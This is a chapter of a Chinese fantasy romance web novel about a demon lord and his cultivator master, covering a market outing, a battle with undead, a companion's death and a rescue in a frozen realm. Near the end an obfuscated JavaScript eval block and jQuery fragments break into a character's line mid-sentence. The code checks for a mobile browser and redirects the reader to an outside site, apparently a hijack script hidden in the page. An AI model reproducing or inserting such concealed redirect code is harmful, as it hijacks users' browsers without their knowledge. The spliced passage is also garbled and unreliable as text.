51.笑一笑好不好?

作品:《魔尊在上,师尊在下

    51.


    离开魔宫,师徒二人都默契十足先后易了容。


    似考虑到自家师尊人生地不熟会跟丢,陌归尘特地坐在树上等了会儿,百无聊赖衔着根猫草,小憩片刻。


    放出的神识感知到闻笺的气息越来越近,方勾起抹胸有成竹的笑,跳下树。


    继续“诱敌深入”。


    闻笺循着陌归尘的气息来到魔界附近的一处小镇。


    此地归属魔界,但时辰与魔界略有些偏差。


    正值黄昏,夕阳将下。


    刚越过城门,便见陌归尘的侧影立在个小摊旁。


    他来到陌归尘身边。


    青年周身笼罩着层冷息,神情亦是淡淡的,默不作声杵在原地,久未说话。


    在如梦似幻的落日下,陌归尘整个身子陷在霞光里,慢腾腾转向他,乌亮的眼眸,水洗般澄清,眼尾还拖缀着点绯色,漫不经心扫过来。


    似在“看”他,又似只是单纯的扫视,并未停留,却叫人三魂七魄都软化得一塌糊涂。


    闻笺被打得措手不及。


    他茫然环顾周围,放下满满一袋灵石,挑了盏河灯,送到陌归尘跟前,动作轻缓到极致,看起来破有些小心翼翼讨好的错觉。


    姿态低到尘埃,温声问:“是想放河灯许愿么?”


    陌归尘没接灯,也没接话,再次转身走了。


    闻笺没辙,只得继续追上潜进人流的徒弟。


    *


    刚隐进人群的陌归尘,疑惑一顿,侧头转向某个角度。


    什么味?


    青年阔步走过去,匆匆来到处巷口,放出丝灵力去探。


    是尸气。


    还夹杂着怨念。


    莫非是上次在天一门离奇失踪的那批合体的凶煞?


    若真是那批凶煞,如今无端重现在魔界,倒叫人不得不重视几分,陌归尘神色微凝寻微不可察的气息追寻踪迹。


    很快,追到处河流边上。


    气息中断。


    此处僻静无人,接壤魔宫护法殿后院,面前这条河流似乎是连通着护法殿后院的湖。


    陌归尘定神站在河边,掐了几个诀,也没探出异样,唯有扫兴转身,原路折返。


    夕阳愈渐西移。


    陌归尘穿过个凉亭,从石子路拐弯走出,另一边的闻笺也逆着人流走向这边。


    太阳将落,光线从云层反射回地面,回光返照,投落在闻笺轮廓,哪怕陌归尘看不见,都能感觉到自家师尊穿梭过那片短暂的华光,向他走来。


    那道剪影,唯美极了。


    如果可以,真想用丹青记录下来。


    他放出神识搜刮了四周,前方有个画斋,是专供文人雅士作画的地方,环境清雅。


    陌归尘挑眉,直奔画斋。


    闻笺自然也看到徒弟的身影,二话不说,跟上去。


    路上,吹着风,枝条蔓蔓乱飞,似怕这些粗枝刮着金尊玉贵的猫主子,闻笺不厌其烦地撩开乱撞的柳条,贴心“护驾”:“还气么?


    他指尖轻戳徒弟紧绷的肩膀,淡如水的嗓音,被风一吹,更显柔和缥缈。


    “都是师父不好,为旁人的错,惩罚自己的五脏六腑,不值得。


    “笑一笑好不好?”


    闻笺其实是个话少的人,但陌归尘总不搭话,这一路上,便显得他有些喋喋不休。


    终于。


    徒弟停在处画阁门外,惜字如金轻哼出两个音:“开房。”


    闻笺没多问,生怕徒弟再次炸毛,只一心依着人,和颜悦色顺顺徒弟的发:“好。”


    意料之中,被嫌弃拂掉:“净手了么?就乱摸。”


    他望着陌归尘傲娇的模样,垂眸低低笑了一声


    随后朝候在门外的小厮递去袋灵石:“一间雅间。”


    “好嘞。”


    小厮哪见过这般阔绰的客人,狗腿子十足,点头哈腰,把人请到楼上,还送来不少茶点。


    房中,闻笺抓过些开心果,慢条斯理剥壳,把剥好的果仁放到干净的玉白小瓷碟上,静候猫主子享用。


    猫主子本主陌归尘则疏懒随意往桌案一靠,五指抓上笔。


    他沉思半天,终是冷着脸,托腮嘀咕:“别剥了,吵死了,吵得我下不了笔。”


    闻笺:“……”


    闻笺:“那为师代笔?给你赔罪。”


    “不。”


    陌归尘闷闷哼一声,带着猫的习性,循着气味埋低脑袋,衔住闻笺指尖那颗剥好的开心果,叼进嘴里,咔嚓一声咬碎。


    别别扭扭的:“你带我画。”


    共享五感这种高阶术法,哪怕修为已到半步飞升的他操作起来也是有限制的,需得肌体接触,陌归尘这一咬,唇瓣无可避免地触碰到闻笺指尖。


    脑海画面,也顺势传给对方。


    “好端端的,怎么画为师?”


    “辟邪。”


    “……”


    闻笺隐隐笑了一下,笑着说话,嗓音是含糊的:“没大没小。”


    听起来温和又纵容。


    还有点暧昧。


    陌归尘忿忿咬了咬笔头,好吧,是他自以为暧昧而已,闻笺这不解风情的老男人才不愿和他清醒沉沦,不然,他们的儿子都会打酱油了。


    不对。


    应该是徒孙。


    也不对。


    是儿子。


    啧,关系好乱,难怪不提倡□□。


    未关紧的窗,漏进缕风,吹散屋内浮动的那么丁点旖旎,也将人吹醒半分。


    陌归尘别开脑袋,右手却自觉伸到闻笺面前,“昂”了一声,算是给自家师尊一个台阶。


    “我看不见,画不了。


    “快点,磨磨蹭蹭的,到底能不能行?”


    话刚完,他感觉手背被覆盖上一层软柔的帕子,闻笺便是这般,隔着帕子握来。


    陌归尘:“……”


    魔尊大人没忍住掀了个白眼,臭讲究!


    *


    二人从画室出来后,魔尊大人带走了画卷,还顺走了自家师尊亲手剥的那碟子开心果。


    集市陆陆续续挂上街灯,烛光明明灭灭的,夜里的风也温柔,吹得人软绵惬意。


    闻笺见人心情好转,也跟着笑了笑:“喜欢吃这个?”


    陌归尘斜觑一眼,把最后一颗果仁塞进嘴里,慢悠悠掐了个清洁术净手,如实开口:“不喜欢,又咸又干巴。”


    “那你怎么还——”闻笺话未完,就被陌归尘拽着往前跑了几步。


    他刚想抽手。


    徒弟已提前一步松开。


    闻笺情不自禁低头,定定望向刚被徒弟拽过的手腕,上面似还残留着一层余温。


    盈盈发暖。


    “你发什么呆呀!


    “快过来!”


    恍惚一声起,闻笺微有滞涩攥紧手掌,任由指甲掐进掌心肉,循声抬起头,迟疑看去。


    青年一袭红衣,正站在盏灯笼下,转过身子,面向他招手,轮廓有些模糊,朦朦胧胧的,唯有那道笑真实清晰,指指某个小摊:“我要玩这个,给钱。”


    听着徒弟这使唤人的口吻,闻笺敛神,抿唇,到底也没说什么,朝人走过去,变出袋灵石。


    接过灵石,摊主扯出温和的笑,递上几个竹制的圈子,连忙解释:“这地上摆着的物什,但凡能套中的,都归公子所有。”


    陌归尘拿走竹圈,斜瞟闻笺,灵机一动,眉眼划出丝狡黠。


    他挨近闻笺,懒洋洋抬起手肘,撞撞自家师尊:“师尊换个位置,这里是风口,你站在这里影响我发挥。”


    说着就把人往摊子边上推。


    闻笺望着又在睁眼说瞎话的徒弟,亦不知这人又在憋什么坏主意,到底不愿扫兴,只默默遂了徒弟的兴致。


    他手上还拿着先前的画卷。


    地上划出块地,里面摆放着各种各样的玩物吃食。


    陌归尘则来到对面,与他隔着这片地儿。


    那人仿佛在算计距离与力度似的,指尖穿过竹圈,若有所思转着把玩,好半晌,才挽出漫不经心的笑。


    起手,挥臂,竹圈飞出去,在空中划出个漂亮的弧度,最后直愣愣穿过卷轴。


    就这么套进闻笺的手臂。


    摊主:“……”


    好家伙,套哪呢?


    我是你们调情的一环?


    而后,他果然听到这位颇为风流的红衣公子笑吟吟问:“是不是套中的都归我?”


    中年男子挠头,摸着刚落口袋的灵石,真是钱难赚,屎难吃。


    本来单身四十年就烦!


    但,秉承一贯的职业操守,他挽出个比哭还难看的礼貌微笑,配合道:“啊……是,是是是……套中的都归公子您。”


    陌归尘心满意足扑过去抱住闻笺:“好,师尊归我了。”


    闻笺:“……”


    闻笺再次默默举起戒尺。


    陌归尘:“……”


    魔尊大人咂嘴推推人:“不解风情!”无趣的老男人。


    他兴致阑珊砸下余下的竹圈,一溜烟似的走了。


    夜晚的镇子热闹不已。


    陌归尘没走多远,便遇见前方有个大围栏,围栏中的,并不是寻常箭靶,而是些逃奴,被抓回来,丢进场内,供人射杀玩乐。


    老板正在吆喝:“路过的公子小姐,来看一看,瞧一瞧咯喂!一箭一灵石,百发百中者,射死一个返两灵石,诚信经营!童叟无欺!”


    陌归尘停在摊前时,已散了几批一箭未中的人。


    其中一名满是心疼:“真难射!亏了亏了。”


    另一人愤然不悦:“主要还是这些贱奴真能跑,怎么没被打断腿,打断腿估计就不好躲了,无趣无趣,甚是无趣。”


    ……


    摊主一眼便瞧见陌归尘,心道这位红衣青年气度不凡,又衣着华贵,连忙迎上来招揽生意:“公子也感兴趣?一箭一灵石。”


    “包场怎么算?”


    摊主上下打量人,也没怀疑这人的实力,换了副嘴脸,堆出恭维的笑:“包场?若公子要包下这些逃奴的话,那至少得这个数。”


    他比划了一下手指。


    交谈的功夫,闻笺已经追上来,陌归尘眉眼都没动一下,旋即送上个储物戒指。


    摊主接过戒指一看,笑得见牙不见眼:“哟!二位贵公子,请慢,这些逃奴都是公子的了,您二位随便玩。”


    大围栏外有条跑道,专供马儿跑的,陌归尘此刻正站在马道上,栏内逃奴纷纷惶恐不安看人,便见那位红衣公子起手,往他们的掌心打下道符咒,道:“城里正好缺一批守卫,想混口安稳饭的,想出人头地的,就去报道,不想去的,也滚。”


    周遭顿时一阵哗然。


    摊主亦大为不解,随后又暗自偷笑,放走更好,等会儿抓回来又能捞一笔,便是热切帮忙,驱散所有逃奴:“滚滚滚!听到没有,都给我滚一边去,给我们这位腾地儿。”


    清场后,他问:“只是靶都没了,二位公子想如何玩?”


    陌归尘挑眉:“谁说没有。”


    接过弓,又从箭筒拔出一根箭,陌归尘面向闻笺:“劳烦师尊委屈一下,当我的箭靶。”


    摊主听得一怔。


    师尊?


    这天下居然还有徒弟要当众射师父的?


    大逆不道啊!


    摊主回神,但也只是赔笑:“公子真性情!”


    陌归尘:“老板,您这有没有蒙眼的绸缎?”


    老板乐呵呵一笑,恭维道:“看来公子的骑射定是一绝!蒙眼也能规避!难怪尊师这般放心陪您胡闹!”


    陌归尘摇头:“是我晕血。”


    摊主:“……”


    围观之人霎时骚动起来,震惊如炸开锅的蚂蚁,无不倒吸凉气,这对师徒什么深仇大怨?


    而这当师父也不反驳。


    好家伙!


    拿命宠徒弟?


    请问什么样的姿势入睡才能梦到这样的师父?


    闻笺由始至终没发言,不咸不淡朝围栏中心走去,陌归尘也行至旁边的小马厩里随意牵走匹马,翻身上马。


    不少人闻讯而来看戏,围观之人越来越多,众人交头接耳,不时来回打量这对师徒。


    实话说,这对师徒的氛围根本没剑拔弩张的意味,身为徒弟的,神情冷淡,而当师父的更是云淡风轻,看徒弟的眼神,温柔恬淡,甚至隐约有点宠溺。


    可不就是宠嘛。


    你家徒弟都想射死你了,还乖乖杵在那当箭靶。


    你就宠他吧!


    马厩里,陌归尘红绫覆眼,翻身上马,慢悠悠驭马而出。


    不消片刻,马儿绕着道跑起来,陌归尘也松开缰绳,循着记忆里师尊蹲在他背后,手把手教他的箭术动作……


    他举臂,挽弓、架箭、拉弦,一气呵成,连起箭的姿势,都带着师尊的影子。


    风呼啸在耳畔,陌归尘迟迟未发箭,无他,是他偷偷笑场了,皆因他想起小时候力气不大,手也短,拉不到弦,只能用脚蹬弓射箭。


    那会儿,师尊好像也是如他这般失笑。


    修士们争得头破血流的极品仙器,被他用脚蹬,如此暴殄天物,师尊还夸他柔韧灵活,一字腿迈得不错。


    想了想,陌归尘又失笑。


    不对,应该是他现在笑得像记忆里的师尊。


    场外人一动不动注视场内,那人分明貌若无盐,可红衣银发翻飞的刹那,众人还是无端被这幕吸引,实在英姿飒爽,仿佛被拉进沙场,目睹着这位少年将军,如何意气风发!


    咻——


    羽箭从马背上飞出,急速破空,直指闻笺心口位置,闻笺依然纹丝不动。


    众人瞠目屏气。


    红影倏然飞身,腾空而起,足尖踩过箭身,翻转跳到围场中央,比箭更快一步来到闻笺身侧。


    利箭只差半寸距离……


    生死瞬间,陌归尘徒手抓住了箭段。


    那箭停在闻笺心窝外。


    “我去!吓人!”


    有惊无险,不少人如释重负吐气,也有人无语吐槽:“玩呢!”


    “没意思没意思!”


    围观的人散去大半。


    嘈杂声中,陌归尘难辨喜怒开口:“为何不躲?”


    他话刚完,只感觉到师尊抓上箭身,往前带了带,箭尖直抵自己心口。


    闻笺的声色里含着一如既往的纵容:“你想要,拿去便是。”


    “谁要你命了?


    “疯子。”


    陌归尘厌倦松箭,声音沉下,显得语气干巴巴的发冷,“闻笺,你这个人,真的很没劲儿。”


    他低垂脑袋,掩下晦暗不明的眸色,又止不住想,偏偏就是这样的人,征服起来,又很带劲儿。


    师徒二人旁边摆着个火炉,炉内有烧得滚烫的烙铁,是专门给奴隶烙印用的。


    陌归尘思绪一转,抓过闻笺的胳膊,狠狠咬了一口,留下个牙印,还偷偷加了层术法。


    *


    翌日。


    陌归尘素来不是个讲规矩的人,但按照习俗,大婚前一日,新婚夫夫是不能相见的。


    魔尊大人难得守了一回规矩,却也烦躁得坐不住,在魔宫瞎逛了半天。


    又一次险些撞树的魔尊大人,无语停在树干旁,抬脚踹了过去。


    噗一下。


    树上的雪团砸下来。


    把人砸了满身雪。


    陌归尘:“……”


    算,大婚将至,这雪不过是来沾喜气罢了,魔尊大人心情甚好挑眉,掸了掸身上的雪碎。


    思忖间,他眼眸又忽而一凛,转向侧后方:“谁?”


    庭内静得出奇。


    陌归尘凝重蹙眉,那股若有似无飘来的味道是……尸气?


    真是太岁头上动土,都挑衅到他这魔宫里来了,明日就是大婚,自然不能放任这些晦气破事儿坏了他与师尊的好事。


    魔尊大人二话不说追上去。


    循着那股尸气,陌归尘追出魔界,路径若水河,奔腾不息的浪潮声若隐若现的,莫名有种消匿的迹象。


    陌归尘停顿一下,没多想,继续追上那股尸气来到片沙地。


    他掌心朝地下一轰,烟尘四起,也炸出个身影。


    身影落地又继续逃。


    陌归尘一个闪身跳到尸体跟前拦住去路。


    这具行尸似乎拥有意识,也聪明,倏然止步,往侧奔跑。


    “想跑?”


    陌归尘双指接住片落叶,飞出,叶片裹挟肃冷灵息,气势汹涌,直把行尸的左腿割断。


    行尸摔倒。


    陌归尘抬掌,掌心一拢,蓦然破土而出的藤蔓,瞬间将那具尸体捆得严严实实。


    他还未来得及严刑逼供。


    前方人马匆匆赶来。


    狂风呼啸,黄沙漫天。


    红影孤拔,逆着光,看不清神情,唯有清薄的身形,窈窈撑起翻飞的绣袍,与对面赶来的几大门派对峙。


    不少人晃神许久,只道是风沙迷人眼,冷哼敛神,纷纷拔剑以对,咄咄逼人:“孽障!还不把玄胤仙尊交出来。”


    “魔头!莫要执迷不悟!否则纳命来!”


    “陌归尘,玄胤仙尊,一生光明磊落,从未苛待过你,你怎可这般辱他!把仙尊放了,我等许你全尸!”


    ……


    陌归尘简直无语凝噎!


    这哪是仙门,简直是堆狗皮膏药,可劲儿逮着他贴,又臭又烦人,甩都甩不掉!


    他冷嗤:“本尊的师尊,本尊想娶就娶,你们有本事就去魔界抢亲!没本事就等着收魔界的喜糖,放心,人人有份!”


    “你小子!简直不知廉耻!”


    “大逆不道!”


    “罔顾伦理尊卑!”


    陌归尘倦懒摆摆手:“骂完了?骂完了就滚,明日大婚,本尊也不想弄脏自己的手。”


    “陌归尘你别欺人太甚!”


    魔尊大人实在没忍住,对着这群颠倒是非黑白的人翻了个白眼,转手拉起那具行尸,便要带回魔界拷打。


    人群忽而让出条道。


    “闻青栀,站住!”


    这熟悉的声音,让陌归尘听得脸色沉如灰色:“又怎么了?”


    华云舟来到众人前方:“合欢宗满门丧命,你没有什么要解释的吗?”


    陌归尘:“与我何干?”


    华云舟:“魔就是魔,心思歹毒,死性不改。”


    他丢出本邪术:“合欢宗有你到过的痕迹,而这书是从你落霞峰房间翻出来的,合欢宗满门所中奇香,与书中介绍的毒香症状一般无二。”


    陌归尘习以为常,面无表情:“我既没看过这书,也没杀人,是栽赃嫁祸。”


    “笑话!你倒说说是谁一次又一次针对你?十年前这样,十年后还不放过你?怎么,你是刨了他家祖坟?”


    陌归尘摊手,耸肩:“实不相瞒,我也想知道。”


    华云舟眉角骤跳,气得青筋乍现:“闻青栀!收起你的嬉皮笑脸,我可不是你师尊,我只信天机石,你就是个祸害,必须死,否则莫说仙门,整个三界都将后患无穷。”


    他拔剑:“我只是替天行道,你本就是个不该存活于世的人!”


    “什么意思?”


    “你这么聪明听不懂么?”


    陌归尘沉默。


    华云舟冷下脸,一语道破:“在你重回浮华派那天,我请过天机石,得知你命理飘忽难定,是不详之身,昨日,天机石再次显灵,你在一千年前就死了,你以为你凭什么活着,是有人在替你续命!”


    陌归尘不可置信道:“你说什么!”


    华云舟嘲弄失笑:“很意外是吧?我也难以预料,没想到闻师弟对你,能用情至此,简直荒唐!


    “你们一个个的!


    “荒唐!


    “一日为师,终身为父,你们这是在□□!”


    陌归尘难以置信问:“你说谁给我续命?”


    华云舟简直被气笑,拂袖:“除了你师尊还能有谁!难不成是我?你脑子呢?”


    所以这就是闻笺曾经所说“以前无坚不摧,但现在不确定自己还是不是不伤不死不老不灭”的答案?


    而那人日渐虚弱的缘由,至此,似乎也有所眉目……


    师徒是道法的薪火相授,是责任与思想的传承,是生命与爱的延续,但陌归尘怎么也想不到这个世上,真的会有人燃烧自己的魂魄……


    只为给他续命。


    轰隆——


    整个地面忽而震上三震,叫人险些站不稳。


    “什么东西?”


    众人惊慌失措,只觉铺天盖地袭来阵阵阴森诡异的凉气。


    “行尸!”


    “不!是凶煞!”


    有人认出来了,尖叫着:“是那天在天一门消失的凶煞!”


    场面霎时混乱无比,众人提剑应战,陌归尘旋即醒神,侧身避开凶煞的偷袭。


    大批大批的凶煞围攻而来,仙门弟子一时死伤无数。


    华云舟一边救人一边责问:“闻青栀,是你操控的凶煞?你想置我们于死地?”


    陌归尘一脚踹开无差别攻来的凶煞,气昏头了,口不择言反骂:“前天下雨你没打伞?脑子进水了?


    “大婚在即,杀你们,对我有什么好处?让闻笺恨我,我们新婚当夜做恨么?”


    后面的话叫人听得脸色一阵青一阵白:“你!轻浮!放荡!”


    厮杀声不绝于耳。


    华云舟揽过两名受伤的弟子,稍不留神,挨了凶煞一记狠戾的爪子。


    抓痕刷拉划破前襟。


    他猛然咳出口血。


    黑气迅速弥漫,侵蚀肌肤,叫人倏地跪地,无力应战。


    陌归尘虽然看不见,也能感知到作为主力的华云舟受了重伤,周边的弟子如散沙,没了指挥,很快便节节败退。


    “一天天就会逞强!”


    陌归尘抽出鞭子,一击挥出,轰退华云舟身后几名凶煞。


    感受到更为强悍的煞气。


    在场的凶煞一时间竟都木讷一定,颇为忌惮,纷纷望向陌归尘所在方向。


    华云舟:“你还说他们不是——”


    “闭嘴!”


    陌归尘抓起华云舟,一把将人丢到右侧的空地,乘势以华云舟为圆心向周遭立起道防御结界,“不想死的进来。”


    凶煞围了一批又一批,想要杀出重围,简直天方夜谭,众人权衡片刻,但见凶煞蠢蠢欲动,却又似乎不敢靠近结界,便二话不说涌进去。


    众人得了暂时喘息。


    便又听凶煞外围似乎传来阵阵杀戮声,莫非是魔界人马赶来救驾,若是这样也好,便霎时把希望寄托魔界,却忘了,自己寄托的是曾要赶尽杀绝的人。


    劫后余生,人群面如死灰互相挨着疗伤,仍是心有余悸,不时观望外头情况,终于,得见有人杀出条血路来。


    众人瞠目结舌。


    那是魔界的十二魔将?


    饶是令人闻风丧胆,强悍如十二魔将也在凶煞的重重围攻下,一个接一个倒下。


    尸潮似没有尽头。


    十一名魔将通通陨落。


    终于,一个衣衫褴褛的身影,狼狈冲出重围,俊美的脸,染上几条血痕,他擦擦眼角的血迹,连砍几名挡路的凶煞,直奔结界而来。


    那是……魔界的右护法?


    结界之内。


    藏在人堆的一名男子,正愤愤擦着剑,目光飘忽不定,不时偷看陌归尘,眸底越发腾起猩红火光。


    他暗暗啐了一口。


    若非闻青栀,二师姐和十三师兄怎会死?大师姐又怎会被恶灵报复?如今就连掌门师尊也身负重伤!


    闻青栀就是个祸害,无论去到哪,总能牵扯无辜之人。


    当真该下地狱!


    被暗骂了一百遍的当事人,还浑然不知地站在华云舟身旁,陌归尘脚尖踢踢华云舟小腿:“没死就把经脉打开,少受些疼。”


    “你!”


    “你什么你,我什么我!”


    陌归尘懒得与人费口舌,本想着这人自己打开经脉能少些苦,既然不乐意,那便罢了。


    反正又疼不死。


    他直接抬掌输出丝灵力,镀进华云舟经脉,祛毒。


    “嘶……”


    华云舟疼得没提上气,差点双腿一蹬,险些升天,“闻青栀!你使的什么妖法?”


    “跟你说又不听。


    “一天天以为别人要害你,你当你是皇帝呢!杀了你能继承皇位啊?”


    陌归尘素来没什么耐心,他又踹了华云舟一脚:“换边了。”


    久未得回应。


    方知底下人咚隆一下砸到在地,竟是疼晕了。


    陌归尘:“……”服了。


    喏!这就是不听医修话的下场,该!


    他正思虑怎么唤醒华云舟。


    身旁忽而传来阵骚动。


    四周弟子们那细微压抑的惊呼声落进耳中,陌归尘顿感不妙转身,空气中,一阵暖热的液体从脉搏喷涌,溅上半空。


    新鲜而滚烫的腥气扑面。


    他一惊,猛然瞠目。


    便感觉有道身影,倒向他,陌归尘惯性去接,托到熟悉的臂膀,黏稠而灼热的液体顺着那人心口,滚滚淌来他衣摆。


    源源不断的血滴落地面。


    “不!不……不是。”


    扑哧——


    一声抽剑的声音响起,陌归尘听到有人在谩骂,声音颤抖得不成样子:“不!不是这样的,我……我就……我就说,你闻青栀就是个祸害……”


    他摔了鲜血淋漓的剑,高声呐喊,义愤填膺指责:“你看!又有人被你牵连而死!明明该死的是你!可是!可是每次害的都是旁人!”


    陌归尘钉在原地。


    魂魄出窍一般,能听到各种声音,脑子却又浑浑噩噩滞涩着,转化不出什么信息。


    眼前是星碎的黑暗。


    脑海是茫然的空白。


    好久,好久以后,他才感觉到手臂被人抓了抓。


    阿栀说:“带我……回家。”


    断断续续的嗓音,落在冽冽朔风中,有种空落落的凄凉,叫陌归尘听得如泡冰水,整个躯体僵寒麻木,又隐隐发酸发疼。


    很久以后,噤声的青年,倏地跪倒在地,也听到道残破声音,像无头苍蝇,跌跌撞撞,从自己喉咙哽出,凄厉而颤抖:“家,你家在哪?”


    阿栀的身子半压着他,愈发虚弱,险些听不出来说的话:“我们狗妖,一生只忠于一人,你家,就是我家。”


    我家……


    “可是……”我也没有家啊。


    他感觉到阿栀抓着他手臂的掌松开了,霎时,一阵灵光散开,又飞速溃退。


    神元?


    是神元的气息。


    陌归尘感觉出来了,是阿栀在生剖神元:“你疯了吗?没事剖神元干什么?”


    “给你……”


    越纯善之人,神元颜色越单一纯粹,上次,他就见过阿栀的神元,是杏色的。


    “回家……不怕黑。”


    杏色的神元,发出浅淡的黄光,像盏柔和的灯。


    陌归尘颤颤抖抖捧着这枚神元,如握火球,炽热滚烫,灼灼烧人,根本握不住。


    咚。


    神元掉落地面,不知滚到哪里。


    “你给我神元干什么!


    “我看不见啊。


    “我……看不见啊!”


    妖物生剖神元,无疑是自毁肉身,不消多时,阿栀的尸骨便荡然无存。


    陌归尘跪在地面,素白的五指沾满泥泞,本能地去摸那团神元,煞白的唇颤颤发抖。


    “我看不见啊……”


    不知多久后。


    陌归尘感觉有人蹲在他身侧:“殿下,仙尊不见了。”


    他动作停顿一下,似没反应过来:“你说什么。”


    二竹弋捡起神元,塞进陌归尘手中,重复道:“玄胤仙尊失踪了。”


    陌归尘握着神元,倏然腾身,起得太匆忙,踉跄跌了跌,刚迈出几步,又退回来,抓起华云舟衣襟,把人扔给二竹弋。


    他撤掉结界。


    整个人无端冷静得诡异:“华云舟不能死,其他人随你。”


    结界被撤,蠢蠢欲动许久的行尸霎时虎视眈眈围观而来,越来越近,越来越近。


    众人风声鹤唳缩成团。


    “陌归尘,你什么意思!”


    “他们围过来了,快把防御结界设回来啊。”


    “你不能这样见死不救!”


    “是那个人偷袭你,与我们无关!你别迁怒无辜!”


    其中几人直接把方才偷袭陌归尘却误杀旁人的男子抓起,扔进了尸堆里。


    男子一声惨叫:“啊!”


    凶煞闻到活人味,一哄围上去,不消片刻就吃干抹净,舔舔唇,贪婪望来,又因畏惧陌归尘,而迟迟未有下步行动。


    陌归尘却直接消失了。


    众人只得把希望转投二竹弋:“盟主!二掌门!”


    二竹弋淡眼目睹完这场狗咬狗骨的窝里斗,脸上挂着客客气气的笑:“诸位是不是忘了,我们殿下从未恃强凌弱,反倒是你们一次又一次打着惩奸除恶的旗号,咄咄逼人。


    “若非你们技不如人。


    “我们殿下哪还有命站在这里,被你们要挟倒逼。


    “在下倒是想问一句,你们伸张的真是正义么?”


    面对这群骂红了眼的人,二竹弋由始至终都是副温润谦和做派,不愠不怒补充道:“君命难违。”


    没再多言,扶起重伤昏迷的华云舟离开。


    随着二竹弋离开,原地的凶煞,霎时饿狼扑食般,轰然冲向人群,厮杀声再起。


    “不是!你们不能这样冷血无情!见死不救!”


    “你们简直枉为人!”


    “陌归尘你个没人性的贱种!我就算是下了阿鼻地狱,也要爬上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651358|140997||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来屮死你,如若有半句虚言,我王大王名字倒过来写!”


    *


    另一边,极寒之地。


    陌归尘直奔内围深处。


    九尾猫天生畏寒,自打进来后,修为都被压制不少。


    天色由暗转明。


    轰隆一声,地面震颤,灰尘飞扬,红影从中走出,孤拔、清薄,缓缓露出轮廓。


    第十关了。


    应该闯完了吧。


    陌归尘脸色极差,捂着心口,重重咳出几口血。


    他抬掌,抹抹血迹,浑身泻出层淡淡的灵流,还是不假思索咬了咬煞白的唇,才隐隐察觉到手臂在发烫发疼。


    似乎是中毒了。


    陌归尘冷汗涔涔,伸手摸摸手臂,果真摸到片硌手的异物,是方才急切出来时,蹭到的铺天盖地的藤丝。


    如今这些藤丝正密密麻麻的钻出肌肤,酸痛难耐,还如蚂蝗,吸附他的灵力,吸成鼓鼓的小包。


    附着肌肤,像一簇簇肉芽。


    正在蛮横滋长。


    附骨之疽一般,这么吸下去,必定会耗空灵力。


    周围还全是虎视眈眈的食人祟,所幸,这些妖祟也忌惮不敢轻举妄动,但他如今这般状态,那些妖祟又是出了名的棘手,他根本没全身而退的把握。


    若是被发现自己虚弱难招架,不足为惧,必然会被分食得一干二净。


    顶着数以千计的贪婪目光。


    陌归尘手起剑落,毫不犹豫削掉那块皮肉。


    “额……”


    他猛地拄剑跪地撑着。


    整个人窒息许久,脑袋一阵白一阵红,空洞茫然半晌。


    连带眼皮都愈发沉重。


    飞溅的血水染得银发斑驳。


    余下的便顺着手臂,汩汩淌落,陌归尘浑然不知疼痛,指甲狠狠嵌进掌心骨肉,抓出深怖的血洞,强迫自己清醒几分。


    不可以晕。


    他弓着腰身跪地,血淋淋的手臂攀去旁边的木架,不动声色撑起身子,喘息许久,摆出副镇静自如模样。


    血水浸得红袍更明艳,陌归尘拨开染血的银发,单手提剑,挺直腰身,若无其事似的,一步一步越过乌泱泱的妖祟。


    无双剑染血,利刃挂着地面,拖出道肃杀剑痕,连片的妖祟都惶恐瑟缩成团,被震慑在陌归尘那股气势下,竟纷纷自发让出条道来。


    终于。


    踏上通往核心地的那条栈道,陌归尘紧绷的肩线松下,如释重负吐气,宛若强弩之末,险些脱力摔倒。


    ……


    极寒之地深处,寒寂萧条,悄怆幽邃,踏在其中,隐隐能感觉到那片无边无际的冰面上的空旷悲凉感,从四面八方铺天盖地席卷而来。


    陌归尘拢拢衣襟,虚弱撑撑眼皮,拖出步子继续前行。


    快了快了。


    他终于感觉到闻笺的气息了,只是……师尊似乎比他还虚弱百倍。


    穿过一道虚空之门。


    寒风呼啸,刺骨冷意附着肌理,生生在眉睫冻出层薄霜。


    一望无垠的洁白中,传闻中那株能明目退翳的仙草“望月夜明砂”正在万年寒冰潭中,缓缓结出颗果子。


    而半生未熟的果子下。


    正有束焰火燃烧着。


    是在催熟果子,用的魂魄,而操纵此法子之人,整个身子都虚虚实实的,像云烟,随时能被风吹散一般。


    燃烧自己的魂魄,来催熟一颗破烂果子!


    陌归尘跑了过去:“闻笺,你是不是不知道死字怎么写?”


    他摔了一跤,方惊觉自己口中根本发不出半点声音,喉咙滚滚冒出的酸水烫得他嗓子眼疼痛不已。


    掌心撑在冰面,又刷地摔倒,手掌搭到个小坑。


    尾指勾进那小冰坑,隐约碰到点东西,好像是两尾小鱼。


    冰封千里,水洼愈渐缩小,两条鱼瑟缩相贴,彼此吐出黏液水泡,相濡以沫,温暖对方。


    奈何,仍抵不住冰封延展而来,彻骨寒凉中,坑中水越来越少,一条小鱼的鱼尾被冻在冰内,另一条鱼则不厌其烦用自己的体温去融化冻住对方躯体的冰。


    陌归尘一拳砸碎冰面。


    两条小鱼也顺着碎渣滑进旁边的池里,终于得了解脱。


    这巨大声响,引得闻笺回头,还未来得及看清状况,那道红影已摔倒在他跟前,他连忙接住徒弟。


    陌归尘满脸潮意肆意跌落他手。


    那人泣不成声。


    半天吐不出一个清晰字眼。


    闻笺拇指抹上陌归尘眼尾:“这么大个人,哭什么。”


    不知多久后,陌归尘才听到自己在说话:“其实他们骂得没错,我就是个祸害!


    “我有什么值得的!


    “为什么你们一个个都这样……都这样被我连累……”


    陌归尘:“我是祸害。”


    闻笺的声音虚弱得失真:“说什么傻话,白为尊,玉为贵,白色的猫,是身长一尺的白玉那般稀罕,你是神的孩子,是最尊贵的尺玉神君。”


    他挽起陌归尘双臂,打量浑身是血迹淤泥的徒弟。


    惯是爱干净的人,蓬头垢面,连猫尾的毛发都冻得打结,哪还有往日高贵模样,脏兮兮的不成体统。


